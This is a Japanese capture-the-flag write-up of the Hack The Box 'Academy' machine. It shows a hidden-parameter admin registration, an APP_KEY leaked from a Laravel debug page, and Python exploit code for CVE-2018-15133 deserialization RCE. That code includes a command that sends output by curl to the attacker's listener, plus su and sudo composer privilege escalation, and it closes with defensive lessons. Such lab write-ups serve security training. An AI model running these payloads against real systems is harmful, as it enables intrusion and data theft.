Hack The BoxのWriteup(Academy)[Easy]

※本サイトはアフィリエイト広告を利用しています。
広告

HackTheBox: Academy — 全実行コマンド・実行結果レポート
Nmap スキャン
22/ssh, 80/http, 33060/mysqlx
→
register.php
roleid=1 パラメータ注入
→
管理者権限アカウント獲得
→
dev-staging-01.academy.htb
Laravelデバッグページ→APP_KEY漏洩
→
CVE-2018-15133
PendingBroadcastガジェット
→
www-data RCE
→
su cry0l1t3 / mrb3n
→
sudo composer run-script
→
user.txt + root.txt ✓
PHASE 1

偵察 (Reconnaissance)

ポートスキャン

BASH
nmap -Pn -p- --min-rate 500 -T4 10.129.89.203
nmap -sV -sC -p 22,80,33060 10.129.89.203
RESULT
PORT      STATE SERVICE VERSION
22/tcp    open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.1
80/tcp    open  http    Apache httpd 2.4.41 ((Ubuntu))
|_http-title: Did not follow redirect to http://academy.htb/
33060/tcp open  mysqlx  MySQL X protocol listener
ℹ️
ポート80への直接アクセスはacademy.htbへの302リダイレクトを 返す。/etc/hostsにこのvhostを追加してアクセスする必要がある。

vhost登録 & トップページ確認

BASH
echo "10.129.89.203  academy.htb dev-staging-01.academy.htb" | sudo tee -a /etc/hosts
curl -sI http://10.129.89.203/
RESULT
HTTP/1.1 302 Found
Server: Apache/2.4.41 (Ubuntu)
Location: http://academy.htb/
🚨
再検証時の落とし穴(本レポート作成時に実際に遭遇): 同じKali環境で本マシンを過去に別インスタンスIP(例: 旧インスタンスの 10.129.34.70)で検証済みの場合、/etc/hostsに 古いIPへの行が既に残っている。単純に「ホスト名が存在するかどうか」 だけを確認して新規追記をスキップする実装だと、新しいターゲットIPへの 名前解決が永久に行われず、全てのvhostベースの攻撃がサイレントに失敗する。 追記前に同名ホストの既存行を必ず削除すること。
BASH(トップページ)
curl -s http://academy.htb/ | grep -i title
RESULT
<title>Hack The Box Academy</title>
PHASE 2

roleid=1 パラメータ注入による管理者権限アカウント作成

register.php の挙動確認

NOTE
"HTB Academy"(学習管理システムのクローン)はユーザー登録フォームを持つ。
register.phpのサーバー側実装は、クライアントから送信されたPOSTパラメータを
ほぼそのままINSERT文に使用しており、フォーム上には存在しない"roleid"という
隠しパラメータを手動で付加することで、通常ユーザー(roleid=0程度)ではなく
管理者ロール(roleid=1)のアカウントを直接作成できてしまう。
BASH
curl -s -X POST http://academy.htb/register.php \
  --data "uid=verify_pwn&password=Verify99!&confirm=Verify99!&roleid=1" \
  -o /dev/null -w "register HTTP: %{http_code}\n"
RESULT (本レポート作成時に実際に実行し確認)
register HTTP: 302

ログイン & 管理者権限の確認

BASH
curl -s -c cookies.txt "http://academy.htb/login.php" -o /dev/null
curl -s -b cookies.txt -c cookies.txt -X POST "http://academy.htb/login.php" \
  --data "uid=verify_pwn&password=Verify99!" -L -o after_login.html \
  -w "HTTP: %{http_code}  URL: %{url_effective}\n"
grep -i "Draft Modules" after_login.html
RESULT
HTTP: 200  URL: http://academy.htb/home.php
<li><a href="#/modules/draft"><i class=""></i> Draft Modules</a></li>
✅
権限昇格成功を確認: ナビゲーションメニューに 通常ユーザーには表示されない“Draft Modules” (管理者専用メニュー)が表示されている。roleid=1の 注入が有効であったことの直接的な証拠。
PHASE 3

dev-staging-01.academy.htb — Laravelデバッグページからの APP_KEY漏洩

管理パネル経由で開発環境vhostを発見

NOTE
管理者アカウントで利用できる機能の中に、開発中の新しいLMSシステムへの
リンク(dev-staging-01.academy.htb)が存在する。このサブドメインで動く
LaravelアプリはAPP_DEBUG=trueのまま運用されており、例外発生時に
詳細なデバッグ画面(Symfony VarDumper形式)が表示される。
BASH
curl -sk -H "Host: dev-staging-01.academy.htb" http://10.129.89.203/ \
  -o devstaging.html
grep -oE 'base64:[A-Za-z0-9+/=]+' devstaging.html
RESULT (本レポート作成時に実際に実行し確認)
base64:dBLUaMuZz7Iq06XtL/Xnz/90Ejq+DEEynggqubHWFj0=
🚨
デバッグページの中身: アクセス時にLaravelの Monologがログファイルへの書き込みに失敗する例外 (storage/logs/laravel.logへの書き込み権限エラー)が 未処理のまま発生し、環境変数一覧(.env相当)が デバッグ画面にそのまま表示される。この中のAPP_KEYが Laravelのセッション署名・暗号化に使われる秘密鍵であり、これが 漏洩すると「サーバーが署名済みと信じて復号したデータ」を 攻撃者が任意に作成できてしまう(後述のCVE-2018-15133)。
ℹ️
興味深い観測事実: 旧インスタンス(2026年7月、IP 10.129.34.70)の時に漏洩していたAPP_KEYと、新インスタンス (2026年10月、IP 10.129.89.203)で漏洩したAPP_KEYは 完全に同一の値だった。user.txt/root.txtはHTBリセット ごとにランダム化されるが、APP_KEYはDockerイメージに焼き込まれた 固定値であり、インスタンスが変わっても変化しないと見られる。
PHASE 4

CVE-2018-15133 — Laravel PendingBroadcast デシリアライゼーション RCE

脆弱性の仕組み

NOTE
古いバージョンのLaravelは、クッキー等で受け取った暗号化データを復号した後、
その内容をPHPの unserialize() に渡して処理する箇所がある。APP_KEYが
分かっていれば、任意のPHPオブジェクトグラフを暗号化してサーバーに送り込み
デシリアライズさせることができる。本CVEで使われる「ガジェットチェーン」は
Illuminate\Broadcasting\PendingBroadcastクラスのデストラクタが、内部の
Faker\Generatorオブジェクトの__call経由でPHPの組み込み関数system()を
呼び出せる構造になっている点を悪用する。
PYTHON (ペイロードのPHPシリアライズ文字列を構築)
payload_php = (
    b'O:40:"Illuminate\\Broadcasting\\PendingBroadcast":2:'
    b'{s:9:"\x00*\x00events";'
    b'O:15:"Faker\\Generator":1:'
    b'{s:13:"\x00*\x00formatters";a:1:{s:8:"dispatch";s:6:"system";}}'
    b's:8:"\x00*\x00event";s:' + str(len(cmd_bytes)).encode()
    + b':"' + cmd_bytes + b'";}'
)

AES-256-CBC暗号化 & HMAC署名 & 送信

PYTHON
key = base64.b64decode(app_key.replace("base64:", ""))
iv  = os.urandom(16)
padded = PKCS7(128).padder().update(payload_php) + ...
cipher = Cipher(AES(key), CBC(iv)).encryptor()
value_enc = cipher.update(padded) + cipher.finalize()

iv_b64, val_b64 = base64.b64encode(iv), base64.b64encode(value_enc)
mac = hmac.new(key, iv_b64 + val_b64, hashlib.sha256).hexdigest()

token = base64.b64encode(json.dumps({
    "iv": iv_b64.decode(), "value": val_b64.decode(), "mac": mac
}).encode()).decode()
BASH (X-XSRF-TOKENヘッダーとして送信)
curl -sk -X POST http://dev-staging-01.academy.htb/ \
  -H "X-XSRF-TOKEN: <上で生成したtoken>"
🚨
なぜ X-XSRF-TOKEN ヘッダーなのか: LaravelはCSRF対策用に XSRF-TOKENクッキー/ヘッダーの値を自動で複合化(decrypt)して 検証する仕組みを持つ。攻撃者はこの「自動復号される」経路を悪用し、 本来のCSRFトークンではなく悪意のある暗号化オブジェクトをこのヘッダーに 埋め込んで送信する。

RCE動作確認

PYTHON (本レポート作成時に実際に実行し確認。idコマンドの結果を Kali側の一時HTTPリスナーへcurlでPOSTして取得)
cmd = f"id | curl -sk -X POST --data-binary @- http://{KALI}:{PORT}/"
# ↑ このcmdをCVE-2018-15133ペイロードのsystem()呼び出しに埋め込んで送信
RESULT
HTTP status: 500  (Laravel側はデシリアライズ後に例外を出すため500が正常)
Received RCE callback body: uid=33(www-data) gid=33(www-data) groups=33(www-data)
✅
RCE成功! www-dataとしてコマンドが実行される。 レスポンスボディでは結果が直接返らないため(デシリアライズ処理の例外で HTTP 500になる)、実際の攻略ではコマンド内でKali側の一時HTTPリスナーへ curlで結果をPOSTして外部に取り出す設計にする。
PHASE 5

横移動(su) & sudo composerによる権限昇格 — user.txt/root.txt取得

pty.openpty() で対話的su — user.txt

NOTE
SSH経由のパスワード認証はcry0l1t3/mrb3nどちらも無効化されているため、
www-dataのRCEから直接 su を使って横移動する必要がある。su はTTYを要求するため、
RCEで送り込むPythonコード内で pty.openpty() により疑似端末を自前で割り当て、
select()でプロンプト待ち+os.write()でパスワード送信を行う。
PYTHON (RCE経由でターゲット上に送り込むコード、要旨)
m, p = pty.openpty_and_spawn(["su", "cry0l1t3", "-s", "/bin/bash"])
wait_for(m, "assword")
write(m, "mySup3rP4s5w0rd!!")
wait_for(m, "$")
write(m, "cat /home/cry0l1t3/user.txt")
user_flag = read(m)   # → curlでKaliへ送信
[*] Academy: APP_KEY = base64:dBLUaMuZz7Iq06XtL/Xnz/90Ejq+DEEyn...
[*] Academy: HTTP receiver on :4458
[★] user.txt 取得: 49888603909db016e924a85bbde0d311
user.txt — cry0l1t3
49888603909db016e924a85bbde0d311

su mrb3n → sudo composer GTFOBins — root.txt

NOTE
cry0l1t3のシェルから続けて su mrb3n (mrb3n_Ac@d3my!) する。mrb3nは
sudoersで /usr/bin/composer をNOPASSWDではない形で実行可能なため、
パスワードを echo 'pass' | sudo -S の形式でパイプする(ptyコンテキストには
対話的TTYが無いため、sudo単体のパスワードプロンプトが出せない)。
GTFOBinsのcomposerエントリに従い、任意のシェルコマンドを実行する
composer.json の "scripts" を用意して run-script で起動する。
BASH (composer.jsonの内容)
{"scripts": {"x": "id>/tmp/comp_id.txt && cat /root/root.txt>/tmp/comp_root.txt"}}
PYTHON (RCE経由のptyコンテキストで実行、要旨)
write(m, "su mrb3n"); wait_for(m, "assword"); write(m, "mrb3n_Ac@d3my!")
write(m, "mkdir -p /tmp/acad_comp && echo <composer.json のbase64> | base64 -d > /tmp/acad_comp/composer.json")
write(m, "echo 'mrb3n_Ac@d3my!' | sudo -S /usr/bin/composer --working-dir=/tmp/acad_comp run-script x 2>&1")
write(m, "cat /tmp/comp_root.txt")
root_flag = read(m)   # → curlでKaliへ送信
⚠️
重要な注意点: composer.jsonは--working-dirで 指定したディレクトリ内に、ファイル名そのもの (composer.json)で配置されていなければ認識されない。また 出力先ファイル名は毎回フレッシュなものを使う(古い/tmp内の 同名ファイルが別ユーザー所有で残っていると、リダイレクト> がPermission Deniedで失敗する)。
✅
root化成功! composerのrun-scriptは sudo経由でroot権限で実行されるため、composer.json内に書いた任意コマンドが rootとして走る。
root.txt — sudo composer run-script
438f2a67511d4dba5b269d0a25e42e90
SUMMARY

攻略サマリー & 教訓

取得フラグ

user.txt — cry0l1t3
49888603909db016e924a85bbde0d311
root.txt — sudo composer run-script (root)
438f2a67511d4dba5b269d0a25e42e90

使用した脆弱性

脆弱性 対象 影響 深刻度 利用方法
隠しパラメータによる権限昇格(roleid=1) register.php 任意ロールでのアカウント作成(管理者権限) High フォームに存在しないroleidパラメータをPOSTボディに直接追加
本番運用でのデバッグモード有効化(APP_DEBUG=true) dev-staging-01.academy.htb (Laravel) 秘密鍵(APP_KEY)を含む環境変数の漏洩 High 意図的にログ書込エラーを誘発しデバッグ画面から環境変数を読み取る
CVE-2018-15133 Laravel Framework (Illuminate\Broadcasting\PendingBroadcast) リモートコード実行 (www-data) Critical APP_KEYでPHPガジェットチェーンを暗号化しX-XSRF-TOKENヘッダーとして送信、サーバーに復号・デシリアライズさせる
過剰なsudo権限(/usr/bin/composer) mrb3n ユーザー 権限昇格 (root) Medium GTFOBins手法: composer.jsonのscriptsに任意コマンドを仕込みrun-scriptで実行

攻撃チェーン全体の流れ

#フェーズ技術取得情報
1偵察nmap, vhost登録22/ssh, 80/http (academy.htb), 33060/mysqlx
2権限昇格(Web)register.php の roleid=1 注入管理者権限アカウント
3情報漏洩dev-staging-01.academy.htb のLaravelデバッグページAPP_KEY = dBLUaMuZz7Iq06XtL/Xnz/90Ejq+DEEynggqubHWFj0=
4RCECVE-2018-15133 PendingBroadcastガジェットwww-data シェル獲得
5横移動 & 権限昇格su cry0l1t3 → su mrb3n → sudo composeruser.txt + root.txt

学んだ教訓 & 防御策

問題点防御策
register.phpがクライアント送信パラメータ(roleid)をそのままDBロールとして受け入れる サーバー側でホワイトリスト/固定値を使い、ロール割り当てはクライアント入力から絶対に受け付けない設計にする。
開発用サブドメイン(dev-staging)が本番相当のネットワークから到達可能かつAPP_DEBUG=trueのまま放置されている 開発/ステージング環境は本番ネットワークから隔離し、デバッグモードは絶対に本番公開しない。IP制限やBasic認証を併用する。
LaravelのAPP_KEYが漏洩するとクッキー/トークンの暗号化・署名検証が完全に偽造可能になる(CVE-2018-15133) Laravelを最新バージョンへ追従し既知のデシリアライゼーションガジェットを無効化する。APP_KEYはシークレット管理サービスで管理し、漏洩時は即座にローテーションする。
一般ユーザー(mrb3n)が/usr/bin/composerをsudo実行でき、composerのスクリプト実行機能経由で任意コマンドがroot権限で走る sudoの許可対象バイナリは最小限に絞り、GTFOBinsに列挙されている危険なバイナリ(composer, vim, less等)へのsudo権限は原則付与しない。
HackTheBox: Academy | 完全攻略レポート